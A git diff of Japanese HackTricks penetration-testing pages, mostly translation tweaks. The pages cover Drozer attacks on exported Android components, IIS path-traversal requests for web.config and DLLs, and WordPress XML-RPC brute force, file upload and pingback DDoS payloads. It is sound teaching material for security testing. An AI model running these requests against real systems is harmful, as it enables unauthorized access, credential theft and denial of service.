しかし、別のアプリからアクティビティにアクセスすることが常にセキュリティリスクであるわけではありません。懸念は、機密データが不適切に共有される場合に生じ、情報漏洩につながる可能性があります。
アクティビティのライフサイクルは**onCreateメソッド**から始まり、UIを設定し、ユーザーとのインタラクションのためにアクティビティを準備します。
@ -274,7 +278,7 @@ super.onCreate();
サービスは多用途であり、さまざまな方法で開始できますが、**Intents** がアプリケーションのエントリーポイントとしてサービスを起動する主な方法です。`startService` メソッドを使用してサービスが開始されると、その `onStart` メソッドが動作を開始し、`stopService` メソッドが明示的に呼び出されるまで実行を続けます。あるいは、サービスの役割がアクティブなクライアント接続に依存している場合、`bindService` メソッドを使用してクライアントをサービスにバインドし、データの受け渡しのために `onBind` メソッドが呼び出されます。
サービスの興味深い応用には、バックグラウンドでの音楽再生やネットワークデータの取得が含まれ、ユーザーがアプリと対話することを妨げることなく行うことができます。さらに、サービスは**エクスポート**を通じて同じデバイス上の他のプロセスにアクセス可能にすることができます。これはデフォルトの動作ではなく、Android Manifestファイルで明示的な設定が必要です
サービスの興味深い応用には、バックグラウンドでの音楽再生や、ユーザーがアプリと対話することを妨げることなくネットワークデータを取得することが含まれます。さらに、サービスは**エクスポート**を通じて同じデバイス上の他のプロセスにアクセス可能にすることができます。これはデフォルトの動作ではなく、Android Manifestファイルで明示的な設定が必要です
```xml
<service android:name=".ExampleExportedService" android:exported="true"/>
```
@ -284,7 +288,7 @@ super.onCreate();
**Intent フィルター** は、両方の登録方法で重要であり、どのブロードキャストがレシーバーをトリガーするかを決定します。一致するブロードキャストが送信されると、レシーバーの **`onReceive`** メソッドが呼び出され、アプリが低バッテリーアラートに応じて動作を調整するなど、適切に反応できるようになります。
ブロードキャストは **非同期** であり、すべてのレシーバーに順序なしで到達することも、**同期** であり、レシーバーが設定された優先順位に基づいてブロードキャストを受け取ることもできます。ただし、どのアプリでも自分を優先させてブロードキャストを傍受できる可能性があるため、潜在的なセキュリティリスクに注意することが重要です。
ブロードキャストは **非同期** であり、順序なしにすべてのレシーバーに到達することも、**同期** であり、レシーバーが設定された優先順位に基づいてブロードキャストを受け取ることもできます。ただし、任意のアプリが自分自身を優先させてブロードキャストを傍受できる可能性があるため、潜在的なセキュリティリスクに注意することが重要です。
レシーバーの機能を理解するには、そのクラス内の **`onReceive`** メソッドを探してください。このメソッドのコードは受信した Intent を操作でき、特に **Ordered Broadcasts** では、データの検証が必要であることを強調しています。Ordered Broadcasts は Intent を変更または削除することができます。
@ -292,11 +296,11 @@ super.onCreate();
**Content Providers** は、アプリ間で **構造化データを共有する** ために不可欠であり、データセキュリティを確保するために **権限** を実装する重要性を強調しています。これにより、アプリはデータベース、ファイルシステム、またはウェブなど、さまざまなソースからデータにアクセスできます。**`readPermission`** や **`writePermission`** などの特定の権限は、アクセスを制御するために重要です。さらに、一時的なアクセスは、アプリのマニフェスト内の **`grantUriPermission`** 設定を通じて付与でき、`path``pathPrefix`、および `pathPattern` などの属性を利用して詳細なアクセス制御を行います。
入力検証は、SQL インジェクションなどの脆弱性を防ぐために重要です。Content Providers は、データ操作とアプリケーション間の共有を促進する基本的な操作をサポートします`insert()``update()``delete()`、および `query()`
入力検証は、SQL インジェクションなどの脆弱性を防ぐために重要です。Content Providers は、データ操作とアプリケーション間の共有を促進する基本的な操作をサポートします: `insert()``update()``delete()`、および `query()`
**FileProvider** は、ファイルを安全に共有することに特化した Content Provider です。フォルダーへのアクセスを制御するため特定の属性を持ってアプリのマニフェストで定義され、`android:exported` `android:resource` がフォルダー構成を指します。機密データを誤って公開しないように、ディレクトリを共有する際には注意が必要です。
**FileProvider** は、ファイルを安全に共有することに特化した Content Provider です。これは、フォルダーへのアクセスを制御するため特定の属性を持ってアプリのマニフェストで定義され、`android:exported` および `android:resource` がフォルダー構成を指します。機密データが誤って公開されないように、ディレクトリを共有する際には注意が必要です。
FileProvider の例のマニフェスト宣言
FileProvider の例のマニフェスト宣言:
```xml
<provider android:name="androidx.core.content.FileProvider"
android:authorities="com.example.myapp.fileprovider"
@ -332,11 +336,11 @@ Androidは主に2種類のWebViewを提供しています
JavaScriptの「ブリッジ」はJavaオブジェクトがJavaScriptと相互作用することを可能にし、Android 4.2以降はセキュリティのためにメソッドに`@JavascriptInterface`を付ける必要があります。
コンテンツアクセスを許可すること(`setAllowContentAccess(true)`)はWebViewsがContent Providersにアクセスできるようにしますが、コンテンツURLが安全であることを確認しない限りリスクとなる可能性があります。
コンテンツアクセスを許可すること(`setAllowContentAccess(true)`はWebViewがContent Providersにアクセスできるようにしますが、コンテンツURLが安全であることを確認しない限りリスクとなる可能性があります。
ファイルアクセスを制御するために:
- ファイルアクセスを無効にすること(`setAllowFileAccess(false)`)はファイルシステムへのアクセスを制限し、特定のアセットに例外を設け、機密でないコンテンツのみに使用されることを保証します。
- ファイルアクセスを無効にすること(`setAllowFileAccess(false)`)はファイルシステムへのアクセスを制限し、特定のアセットに対して例外を設け、機密でないコンテンツのみに使用されることを保証します。
## その他のアプリコンポーネントとモバイルデバイス管理
@ -346,11 +350,7 @@ JavaScriptの「ブリッジ」はJavaオブジェクトがJavaScriptと相互
### **セキュリティ強化のためのアプリ検証**
- **Android 4.2**以降、**Verify Apps**という機能により、ユーザーはインストール前にアプリの安全性を確認できます。この**検証プロセス**は、潜在的に有害なアプリに対してユーザーに警告を発したり、特に悪意のあるアプリのインストールを防いだりすることができ、ユーザーのセキュリティを強化します。
### **モバイルデバイス管理 (MDM)**
- **MDMソリューション**は、**デバイス管理API**を通じてモバイルデバイスの**監視とセキュリティ**を提供します。これらは、モバイルデバイスを効果的に管理および保護するためにAndroidアプリのインストールを必要とします。主な機能には、**パスワードポリシーの強制**、**ストレージ暗号化の義務付け**、および**リモートデータ消去の許可**が含まれ、モバイルデバイスに対する包括的な制御とセキュリティを確保します。
- **Android 4.2**以降、**Verify Apps**という機能により、ユーザーはインストール前にアプリの安全性を確認できます。この**検証プロセス**は、潜在的に有害なアプリに対してユーザーに警告を発したり、特に悪意のあるアプリのインストールを防いだり
```java
// Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);

View File

@ -2,8 +2,6 @@
{{#include ../../../banners/hacktricks-training.md}}
## テストする APK
- [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (mrwlabs から)
@ -13,7 +11,7 @@
## インストール
ホスト内に Drozer クライアントをインストールします。 [最新のリリース](https://github.com/mwrlabs/drozer/releases)からダウンロードしてください。
ホスト内に Drozer クライアントをインストールします。[最新のリリース](https://github.com/mwrlabs/drozer/releases)からダウンロードしてください。
```bash
pip install drozer-2.4.4-py2-none-any.whl
pip install twisted
@ -39,20 +37,20 @@ drozer console connect
```
## 興味深いコマンド
| **コマンド** | **説明** |
| ---------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Help MODULE** | 選択したモジュールのヘルプを表示します |
| **list** | 現在のセッションで実行可能なすべてのdrozerモジュールのリストを表示します。適切な権限がないモジュールは非表示になります。 |
| **shell** | エージェントのコンテキストでデバイス上にインタラクティブなLinuxシェルを開始します。 |
| **clean** | Androidデバイス上にdrozerが保存した一時ファイルを削除します。 |
| **load** | drozerコマンドを含むファイルを読み込み、順番に実行します。 |
| **module** | インターネットから追加のdrozerモジュールを見つけてインストールします。 |
| **unset** | drozerが生成する任意のLinuxシェルに渡す名前付き変数を削除します。 |
| **set** | drozerによって生成される任意のLinuxシェルに環境変数として渡される変数に値を格納します。 |
| **shell** | エージェントのコンテキストでデバイス上にインタラクティブなLinuxシェルを開始します。 |
| **run MODULE** | drozerモジュールを実行します |
| **exploit** | Drozerはデバイスで実行するためのエクスプロイトを作成できます。 `drozer exploit list` |
| **payload** | エクスプロイトにはペイロードが必要です。 `drozer payload list` |
| **コマンド** | **説明** |
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **Help MODULE** | 選択したモジュールのヘルプを表示します |
| **list** | 現在のセッションで実行可能なすべてのdrozerモジュールのリストを表示します。適切な権限がないモジュールは非表示になります。 |
| **shell** | エージェントのコンテキストでデバイス上にインタラクティブなLinuxシェルを開始します。 |
| **clean** | Androidデバイス上にdrozerが保存した一時ファイルを削除します。 |
| **load** | drozerコマンドを含むファイルを読み込み、順番に実行します。 |
| **module** | インターネットから追加のdrozerモジュールを見つけてインストールします。 |
| **unset** | drozerが生成する任意のLinuxシェルに渡す名前付き変数を削除します。 |
| **set** | drozerによって生成される任意のLinuxシェルに環境変数として渡される変数に値を格納します。 |
| **shell** | エージェントのコンテキストでデバイス上にインタラクティブなLinuxシェルを開始します。 |
| **run MODULE** | drozerモジュールを実行します |
| **exploit** | Drozerはデバイスで実行するためのエクスプロイトを作成できます。 `drozer exploit list` |
| **payload** | エクスプロイトにはペイロードが必要です。 `drozer payload list` |
### パッケージ
@ -98,12 +96,12 @@ is debuggable
- **活動**: おそらく、アクティビティを開始し、起動を防ぐべき認証をバイパスできるかもしれません。
- **コンテンツプロバイダー**: おそらく、プライベートデータにアクセスしたり、いくつかの脆弱性SQLインジェクションやパストラバーサルを悪用できるかもしれません。
- **サービス**:
- **デバッグ可能**: [詳細を学ぶ](#is-debuggeable)
- **デバッグ可能**: [Learn more](#is-debuggeable)
### 活動
エクスポートされたアクティビティコンポーネントの “android:exported” 値は、AndroidManifest.xmlファイルで **“true”** に設定されています:
```markup
```html
<activity android:name="com.my.app.Initial" android:exported="true">
</activity>
```
@ -117,7 +115,7 @@ com.mwr.example.sieve.PWList
```
**アクティビティを開始**:
おそらく、アクティビティを開始し、起動を防ぐべきいくつかの認証をバイパスできるかもしれません。
おそらく、アクティビティを開始し、起動を妨げるべき認証をバイパスできるかもしれません。
```bash
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
```
@ -130,12 +128,12 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
```
### コンテンツプロバイダー
この投稿はここに収まりきらないので、**こちらの独自のページでアクセスできます**[**こちら**](exploiting-content-providers.md)。
この投稿はここに収まりきらないほど大きいため、**こちらの独自のページでアクセスできます**[**こちら**](exploiting-content-providers.md)。
### サービス
エクスポートされたサービスは、Manifest.xml内で宣言されます:
```markup
```html
<service android:name=".AuthService" android:exported="true" android:process=":remote"/>
```
コード内で**check**を行い、**`handleMessage`**関数を探します。この関数は**message**を**受信**します:
@ -163,7 +161,7 @@ app.service.stop Stop Service
![](<../../../images/image (1079).png>)
最初に"_msg.what_"のデータを送信し、その後に"_msg.arg1_"と"_msg.arg2_"を送信します。**どの情報が使用されているか**とその場所をコード内で確認する必要があります。\
最初に"_msg.what_"の中のデータを送信し、その後に"_msg.arg1_"と"_msg.arg2_"を送信します。**どの情報が使用されているか**とその場所をコード内で確認する必要があります。\
`--extra`オプションを使用すると、"_msg.replyTo_"によって解釈されるものを送信でき、`--bundle-as-obj`を使用すると、提供された詳細を持つオブジェクトを作成します。
次の例では:
@ -177,13 +175,13 @@ run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --m
```
![](<../../../images/image (647).png>)
### ブロードキャストレシーバー
### Broadcast Receivers
**Androidの基本情報セクションでは、ブロードキャストレシーバーとは何かを見ることができます**。
**Androidの基本情報セクションでは、Broadcast Receiverとは何かを見ることができます**。
このブロードキャストレシーバーを発見した後は、**コードを確認する**べきです。特に**`onReceive`**関数に注意を払い、受信したメッセージを処理します。
このBroadcast Receiversを発見した後は、**コードを確認する**べきです。特に**`onReceive`**関数に注意を払ってください。これは受信したメッセージを処理します。
#### **すべての** ブロードキャストレシーバーを検出する
#### **すべての** broadcast receiversを検出する
```bash
run app.broadcast.info #Detects all
```
@ -216,17 +214,17 @@ app.broadcast.sniff Register a broadcast receiver that can sniff particu
```
#### メッセージを送信
この例では、[FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) のコンテンツプロバイダーを悪用して、ユーザーに許可を求めることなく、**任意のSMS**を非プレミアムの宛先に**送信**できます。
この例では、[FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk)のContent Providerを悪用して、ユーザーに許可を求めることなく、**任意のSMS**を非プレミアムの宛先に**送信**できます。
![](<../../../images/image (415).png>)
![](<../../../images/image (573).png>)
コードを読むと、"_phoneNumber_" と "_message_" のパラメータがコンテンツプロバイダーに送信される必要があります。
コードを読むと、パラメータ"_phoneNumber_"と"_message_"をContent Providerに送信する必要があります。
```bash
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"
```
### デバッグ可能かどうか
### デバッグ可能か
本番用APKは決してデバッグ可能であってはなりません。\
これは、**Javaデバッガ**を実行中のアプリケーションにアタッチし、実行時に検査し、ブレークポイントを設定し、ステップバイステップで進み、変数の値を収集し、さらにはそれらを変更することができることを意味します。[InfoSec Instituteには、アプリケーションがデバッグ可能な場合に深く掘り下げ、ランタイムコードを注入するための優れた記事があります](../exploiting-a-debuggeable-applciation.md)。

View File

@ -25,7 +25,7 @@
![](../../images/img11.png)
次に、**res/xml**フォルダーに移動し、network_security_config.xmlという名前のファイルを作成または修正し、以下の内容を追加します:
```markup
```html
<network-security-config>
<base-config>
<trust-anchors>
@ -37,7 +37,7 @@
</base-config>
</network-security-config>
```
次に、ファイルを保存し、すべてのディレクトリからバックアウトし、次のコマンドでapkを再構築します: `apktool b *folder-name/* -o *output-file.apk*`
その後、ファイルを保存し、すべてのディレクトリからバックアウトし、次のコマンドでapkを再構築します: `apktool b *folder-name/* -o *output-file.apk*`
![](../../images/img12.png)

View File

@ -29,7 +29,7 @@ X-FEServer: NHEXCHANGE2016
```
## .configファイルの実行
.configファイルをアップロードし、それを使用してコードを実行できます。これを行う方法の1つは、ファイルの最後にHTMLコメント内にコードを追加することです: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
.configファイルをアップロードし、それを使用してコードを実行できます。これを行う方法の1つは、HTMLコメント内にファイルの最後にコードを追加することです: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
この脆弱性を悪用するための詳細情報と技術は[here](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)にあります。
@ -60,7 +60,7 @@ iisfinal.txt
> [!NOTE]
> 要約すると、アプリケーションのフォルダー内に複数のweb.configファイルがあり、"**assemblyIdentity**"ファイルや"**namespaces**"への参照があります。この情報を使用して、**実行可能ファイルの場所**を知り、それをダウンロードすることが可能です。\
> **ダウンロードしたDll**からは、**新しいnamespaces**を見つけてアクセスし、web.configファイルを取得して新しいnamespacesとassemblyIdentityを見つけることも可能です。\
> **ダウンロードしたDll**からは、**新しい名前空間**を見つけてアクセスし、web.configファイルを取得して新しい名前空間とassemblyIdentityを見つけることも可能です。\
> また、**connectionstrings.config**および**global.asax**ファイルには興味深い情報が含まれている可能性があります。
**.Net MVCアプリケーション**では、**web.config**ファイルは、アプリケーションが依存する各バイナリファイルを**"assemblyIdentity"** XMLタグを通じて指定する重要な役割を果たします。
@ -68,15 +68,15 @@ iisfinal.txt
### **バイナリファイルの探索**
**web.config**ファイルにアクセスする例は以下に示されています:
```markup
```html
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
```
このリクエストは、次のようなさまざまな設定依存関係を明らかにします。
このリクエストは、次のようなさまざまな設定依存関係を明らかにします。
- **EntityFramework** バージョン
- ウェブページ、クライアント検証、および JavaScript のための **AppSettings**
- 認証とランタイムのための **System.web** 構成
- 認証とランタイムのための **System.web** 設定
- **System.webServer** モジュール設定
- **Microsoft.Owin**、**Newtonsoft.Json**、および **System.Web.Mvc** のような多数のライブラリのための **Runtime** アセンブリバインディング
@ -84,19 +84,19 @@ Host: example-mvc-application.minded
### **ルートディレクトリファイル**
**/global.asax** や **/connectionstrings.config** (機密パスワードを含む)など、ルートディレクトリに見つかるファイルは、アプリケーションの構成と動作に不可欠です。
**/global.asax** や **/connectionstrings.config**(機密パスワードを含む)など、ルートディレクトリに見つかるファイルは、アプリケーションの構成と動作に不可欠です。
### **名前空間と Web.Config**
MVC アプリケーションは、各ファイルでの繰り返し宣言を避けるために特定の名前空間用の追加の **web.config ファイル** 定義します。これは、別の **web.config** をダウンロードするリクエストで示されています。
```markup
MVC アプリケーションは、各ファイルでの繰り返し宣言を避けるために特定の名前空間用の追加の **web.config ファイル** 定義します。これは、別の **web.config** をダウンロードするリクエストで示されています。
```html
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
```
### **DLLのダウンロード**
カスタムネームスペースの言及は、/binディレクトリに存在する「**WebApplication1**」という名前のDLLを示唆しています。これに続いて、**WebApplication1.dll**をダウンロードするリクエストが表示されます:
```markup
```html
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```
@ -106,7 +106,7 @@ DLL が **WebApplication1.Areas.Minded** という名前空間をインポート
### 一般的なファイル
From [here](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
[こちら](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)から
```
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
@ -199,7 +199,7 @@ C:\xampp\tomcat\conf\server.xml
この**技術**を使用して、発見された各フォルダ内の**フォルダやファイルを列挙**してみることができますBasic Authenticationが必要な場合でも。\
この技術の主な制限は、サーバーが脆弱な場合、**各ファイル/フォルダの名前の最初の6文字とファイルの拡張子の最初の3文字しか見つけられない**ことです。
この脆弱性をテストするには、[https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner)を使用できます:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
この脆弱性をテストするために[https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner)を使用できます:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
![](<../../images/image (844).png>)
@ -241,7 +241,7 @@ ASPXAUTHは次の情報を使用します
## キャッシュされたパスワードによるIIS認証バイパス (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
[こちらに完全なレポートがあります](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html):コードのバグにより、**ユーザーが提供したパスワードを正しくチェックしなかった**ため、**パスワードハッシュがキャッシュ内のキーにヒットする**攻撃者は、そのユーザーとしてログインできるようになります。
[こちらに完全なレポートがあります](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html):コードのバグにより、**ユーザーが提供したパスワードを適切にチェックしなかった**ため、**パスワードハッシュがキャッシュ内のキーにヒットする**攻撃者は、そのユーザーとしてログインできるようになります。
```python
# script for sanity check
> type test.py

View File

@ -26,7 +26,7 @@
- `wp-content`フォルダは、プラグインとテーマが保存される主なディレクトリです。
- `wp-content/uploads/`は、プラットフォームにアップロードされたファイルが保存されるディレクトリです。
- `wp-includes/`は、証明書、フォント、JavaScriptファイル、ウィジェットなどのコアファイルが保存されるディレクトリです。
- `wp-sitemap.xml`は、WordPressバージョン5.5以降、WordPressがすべての公開投稿と公開可能な投稿タイプおよび分類のXMLサイトマップファイルを生成します。
- `wp-sitemap.xml`は、WordPressバージョン5.5以降、WordPressがすべての公開投稿と公開可能な投稿タイプおよびタクソミーを含むサイトマップXMLファイルを生成します。
**ポストエクスプロイト**
@ -35,14 +35,14 @@
### ユーザー権限
- **管理者**
- **編集者**: 自分と他の投稿を公開および管理
- **エディター**: 自分と他の投稿を公開および管理
- **著者**: 自分の投稿を公開および管理
- **寄稿者**: 自分の投稿を書くことができ、管理するが、公開はできない
- **寄稿者**: 自分の投稿を書くことができ、管理することができますが、公開することはできません
- **購読者**: 投稿をブラウズし、自分のプロフィールを編集
## **パッシブ列挙**
### **WordPressのバージョンを取得**
### **WordPressバージョンの取得**
`/license.txt`または`/readme.html`ファイルを見つけられるか確認します。
@ -62,8 +62,6 @@ curl https://victim.com/ | grep 'content="WordPress'
- JavaScriptファイル
![](<../../images/image (524).png>)
### プラグインを取得する
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
@ -95,7 +93,7 @@ curl -s -I -X GET http://blog.example.com/?author=1
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
別の `/wp-json/` エンドポイントで、ユーザーに関する情報を明らかにすることができるのは次の通りです:
ユーザーに関する情報を明らかにする別の `/wp-json/` エンドポイントは次のとおりです:
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
@ -103,7 +101,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
また、**/wp-json/wp/v2/pages** はIPアドレスを漏洩する可能性があります。
- **ログインユーザー名の列挙**: **`/wp-login.php`** にログインすると、**メッセージ**は**ユーザー名が存在するかどうか**によって**異なります**。
- **ログインユーザー名の列挙**: **`/wp-login.php`** にログインすると、**メッセージ**は**ユーザー名が存在するかどうか****異なります**。
### XML-RPC
@ -112,7 +110,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
アクティブかどうかを確認するには、_**/xmlrpc.php**_ にアクセスして、このリクエストを送信してください:
**チェック**
```markup
```html
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
@ -123,7 +121,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
**クレデンシャルブルートフォース**
**`wp.getUserBlogs`**、**`wp.getCategories`** または **`metaWeblog.getUsersBlogs`** は、クレデンシャルをブルートフォースするために使用できるいくつかのメソッドです。これらのいずれかを見つけることができれば、次のようなものを送信できます:
```markup
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
@ -139,7 +137,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
![](<../../images/image (721).png>)
正しい資格情報を使用すると、ファイルをアップロードできます。レスポンスにはパスが表示されます ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```markup
```html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
@ -180,7 +178,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
リスト内にメソッド_**pingback.ping**_が見つかれば、Wordpressに任意のホスト/ポートにリクエストを送信させることができます。\
これを使用して、**数千**のWordpress **サイト**に**1つの**場所に**アクセス**させることができ(その場所で**DDoS**が発生します)、または**Wordpress**に内部**ネットワーク**を**スキャン**させることができます(任意のポートを指定できます)。
```markup
```html
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
@ -196,7 +194,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
このメソッドを悪用してDDoSを引き起こす方法を学ぶには、前のセクションでの**`system.multicall`**の使用を確認してください。
**DDoS**
```markup
```html
<methodCall>
<methodName>pingback.ping</methodName>
<params>
@ -210,7 +208,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
### wp-cron.php DoS
このファイルは通常、Wordpressサイトのルートに存在します: **`/wp-cron.php`**\
このファイルが**アクセス**されると、**重い**MySQL **クエリ**が実行されるため、**攻撃者**によって**DoS**を**引き起こす**ために使用される可能性があります。\
このファイルが**アクセス**されると、**"重い"** MySQL **クエリ**が実行されるため、**攻撃者**によって**DoS**を**引き起こす**ために使用される可能性があります。\
また、デフォルトでは、`wp-cron.php`はすべてのページロード時に呼び出されますクライアントが任意のWordpressページをリクエストするたびに、高トラフィックのサイトでは問題を引き起こす可能性がありますDoS
Wp-Cronを無効にし、ホスト内で必要なアクションを定期的に実行する実際のcronjobを作成することをお勧めします問題を引き起こさないように
@ -239,7 +237,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
```
## ビットを上書きしてアクセスを得る
実際の攻撃というよりは好奇心です。CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) では、任意のWordPressファイルの1ビットを反転させることができました。したがって、ファイル `/var/www/html/wp-includes/user.php` の位置 `5389` を反転させてNOT (`!`) 操作をNOPにすることができました。
これは実際の攻撃というよりは好奇心です。CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) では、任意のwordpressファイルの1ビットを反転させることができました。したがって、ファイル `/var/www/html/wp-includes/user.php` の位置 `5389` を反転させてNOT (`!`) 操作をNOPにすることができました。
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
@ -303,7 +301,7 @@ to get a session.
- ダウンロードしたプラグインの zip ファイルをアップロードします。
3. **プラグインの有効化**: プラグインが正常にインストールされたら、ダッシュボードを通じて有効化する必要があります。
4. **悪用**:
- "reflex-gallery" プラグインがインストールされ、有効化されている場合、脆弱性が知られているため悪用できます。
- "reflex-gallery" プラグインがインストールされ、有効化されている、脆弱性が知られているため悪用できます。
- Metasploit フレームワークは、この脆弱性に対するエクスプロイトを提供します。適切なモジュールを読み込み、特定のコマンドを実行することで、メーターpreter セッションを確立し、サイトへの不正アクセスを許可します。
- これは、WordPress サイトを悪用するための多くの方法のうちの一つに過ぎないことに注意してください。
@ -313,8 +311,8 @@ to get a session.
## XSS から RCE へ
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ は、**クロスサイトスクリプティング (XSS)** 脆弱性を **リモートコード実行 (RCE)** または他の重大な脆弱性にエスカレートするために設計されたスクリプトです。詳細については、[**この投稿**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)を確認してください。これは **WordPress バージョン 6.X.X、5.X.X、4.X.X をサポートし、次のことを可能にします:**
- _**権昇格:**_ WordPress にユーザーを作成します。
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ は、**Cross-Site Scripting (XSS)** 脆弱性を **Remote Code Execution (RCE)** または他の重大な脆弱性にエスカレートするために設計されたスクリプトです。詳細については、[**この投稿**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)を確認してください。これは **Wordpress バージョン 6.X.X、5.X.X、4.X.X をサポートし、次のことを可能にします:**
- _**昇格:**_ WordPress にユーザーを作成します。
- _**(RCE) カスタムプラグイン (バックドア) アップロード:**_ カスタムプラグイン (バックドア) を WordPress にアップロードします。
- _**(RCE) ビルトインプラグイン編集:**_ WordPress のビルトインプラグインを編集します。
- _**(RCE) ビルトインテーマ編集:**_ WordPress のビルトインテーマを編集します。
@ -334,7 +332,7 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
### Attack Surface
Wordpressプラグインが機能をどのように公開するかを知ることは、その機能の脆弱性を見つけるための鍵です。プラグインがどのように機能を公開するかは、以下の箇条書きと、[**このブログ記事**](https://nowotarski.info/wordpress-nonce-authorization/)にある脆弱なプラグインのいくつかの例で確認できます。
Wordpressプラグインが機能をどのように公開するかを知ることは、その機能の脆弱性を見つけるための鍵です。プラグインが機能をどのように公開するかは、以下の箇条書きと、[**このブログ記事**](https://nowotarski.info/wordpress-nonce-authorization/)にある脆弱なプラグインのいくつかの例で確認できます。
- **`wp_ajax`**
@ -348,7 +346,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
**`nopriv`の使用により、エンドポイントはすべてのユーザー(認証されていないユーザーも含む)にアクセス可能になります。**
> [!CAUTION]
> さらに、関数が`wp_verify_nonce`関数を使用してユーザーの認証を確認しているだけの場合、この関数は通常、ユーザーがログインしているかどうかを確認しているだけで、ユーザーの役割を確認しているわけではありません。したがって、権限の低いユーザーが権限の高いアクションにアクセスできる可能性があります。
> さらに、関数が`wp_verify_nonce`関数を使用してユーザーの認証を確認しているだけの場合、この関数はユーザーがログインしているかどうかを確認しているだけで、通常はユーザーの役割を確認していません。したがって、権限の低いユーザーが権限の高いアクションにアクセスできる可能性があります。
- **REST API**
@ -364,7 +362,7 @@ $this->namespace, '/get/', array(
```
`permission_callback` は、特定のユーザーがAPIメソッドを呼び出す権限があるかどうかを確認するためのコールバック関数です。
**組み込みの `__return_true` 関数が使用されている場合、ユーザー権限のチェックは単にスキップされます。**
**組み込みの `__return_true` 関数が使用される場合、ユーザー権限のチェックは単にスキップされます。**
- **PHPファイルへの直接アクセス**

View File

@ -11,21 +11,21 @@
## キャッシュポイズニング
キャッシュポイズニングは、クライアント側のキャッシュを操作して、クライアントが予期しない、部分的、または攻撃者の制御下にあるリソースを読み込むように強制することを目的としています。影響の程度は、影響を受けるページの人気に依存し、汚染された応答はキャッシュ汚染の期間中にそのページを訪れるユーザーにのみ提供されます。
キャッシュポイズニングは、クライアント側のキャッシュを操作して、クライアントが予期しない、部分的、または攻撃者の制御下にあるリソースを読み込むように強制することを目的としています。影響の程度は、影響を受けるページの人気に依存し、汚染されたレスポンスはキャッシュ汚染の期間中にそのページを訪れるユーザーにのみ提供されます。
キャッシュポイズニング攻撃の実行にはいくつかのステップがあります:
